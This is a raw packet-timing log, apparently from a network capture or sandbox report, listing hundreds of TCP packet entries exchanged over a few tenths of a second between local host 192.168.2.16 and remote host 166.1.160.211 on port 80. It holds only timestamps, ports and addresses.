Oct 28, 2024 19:46:24.168669939 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.168690920 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.168724060 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.168732882 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.168776035 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.168824911 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.168828011 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.168858051 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.168891907 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.168906927 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.168951988 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.168984890 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.168997049 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.169018984 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.169068098 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.169070005 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.169105053 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.169136047 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.169148922 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.169171095 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.169203043 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.169219971 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.169239044 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.169274092 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.169287920 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.169737101 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.169784069 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.169790030 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.169825077 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.169871092 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.169930935 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.169965029 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.169997931 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.170020103 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.170049906 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.170084953 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.170094013 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.170118093 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.170151949 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.170164108 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.170186043 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.170219898 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.170232058 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.170695066 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.170738935 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.170747995 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.170783997 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.170829058 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.170867920 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.170902014 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.170939922 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.170953989 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.170974970 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.171010017 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.171025038 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.171080112 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.171113014 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.171132088 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.171147108 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.171180010 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.171200037 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.171710014 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.171758890 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.171761036 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.171797037 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.171842098 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.171847105 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.171881914 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.171914101 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.171930075 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.171947956 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.171997070 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.171998978 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.172034025 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.172068119 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.172080994 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.172101021 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.172136068 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.172149897 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.172563076 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.172610998 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.172614098 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.172648907 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.172684908 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.172698021 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.174866915 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.174911022 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.174942970 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.226147890 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.274732113 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.280519009 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.280632973 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.280670881 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.280687094 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.280725956 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.280771017 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.280782938 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.280821085 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.280858040 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.280873060 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.280952930 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.280988932 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.281001091 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.281023026 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.281059027 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.281068087 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.281127930 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.281162024 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.281172037 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.281196117 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.281230927 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.281243086 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.281286001 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.281321049 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.281328917 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.281373978 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.281408072 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.281416893 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.281443119 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.281477928 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.281486988 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.281512976 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.281548023 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.281558037 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.281584024 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.281626940 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.281902075 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.281955957 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.281990051 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.282001019 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.282108068 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.282141924 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.282152891 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.282193899 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.282227993 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.282241106 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.282263994 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.282299995 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.282305956 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.282336950 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.282380104 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.282406092 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.282442093 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.282481909 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.282869101 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.282994986 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.283041954 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.283046961 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.283082962 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.283117056 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.283122063 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.283150911 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.283185959 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.283199072 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.283221960 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.283267021 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.283293009 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.283349037 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.283384085 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.283390999 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.283420086 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.283464909 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.283742905 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.283797979 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.283828974 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.283844948 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.283916950 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.283962965 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.283970118 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.284004927 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.284048080 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.284091949 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.284126997 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.284162045 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.284171104 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.284198046 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.284231901 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.284240007 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.284269094 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.284303904 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.284312963 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.284338951 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.284373999 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.284382105 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.284893990 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.284986973 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.284996033 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.285048962 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.285084009 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.285093069 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.285118103 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.285151958 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.285172939 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.285191059 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.285228014 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.285233974 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.285312891 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.285346985 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.285355091 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.285384893 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.285418987 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.285429001 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.285897970 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.285944939 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.285950899 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.285986900 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.286022902 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.286034107 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.286056042 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.286112070 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.286168098 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.286201954 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.286236048 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.286245108 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.286271095 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.286313057 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.286322117 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.286355972 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.286390066 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.286397934 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.286930084 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.286963940 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.286976099 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.287017107 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.287050962 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.287061930 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.287086010 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.287128925 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.287137032 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.287173033 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.287216902 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.287224054 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.287260056 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.287293911 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.287305117 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.287345886 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.287379980 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.287388086 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.287750959 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.287801981 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.287810087 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.287846088 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.287880898 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.287890911 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.288285017 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.288319111 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.288330078 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.288353920 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.288398981 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.288404942 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.288439989 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.288481951 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.288490057 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.288526058 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.288558960 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.288568974 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.288594961 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.288629055 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.288639069 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.288666010 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.288701057 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.288708925 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.289067030 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.289114952 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.289118052 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.289153099 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.289196968 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.289218903 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.289253950 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.289289951 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.289298058 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.289324999 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.289361000 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.289366961 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.289414883 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.289454937 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.289462090 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.289489985 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.289524078 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.289534092 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.290050983 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.290103912 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.290116072 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.290139914 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.290184975 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.290297985 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.290350914 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.290384054 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.290395975 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.290436983 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.290472031 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.290482044 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.290508032 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.290540934 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.290550947 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.290575981 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.290611029 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.290621042 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.292938948 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.292989016 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.293037891 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.293092012 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.293128967 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.293138981 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.293164015 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.293198109 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.293209076 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.293236971 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.293279886 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.492497921 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.498363018 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.498430014 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.498466969 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.498486042 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.498502016 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.498553991 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.498557091 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.498593092 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.498644114 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.498651028 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.498684883 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.498720884 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.498735905 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.498758078 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.498792887 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.498809099 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.498847961 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.498883009 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.498893976 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.498918056 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.498955011 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.498965025 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.498989105 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.499023914 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.499032021 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.499063969 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.499114990 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.499121904 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.499150038 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.499183893 CET	80	49726	166.1.160.211	192.168.2.16
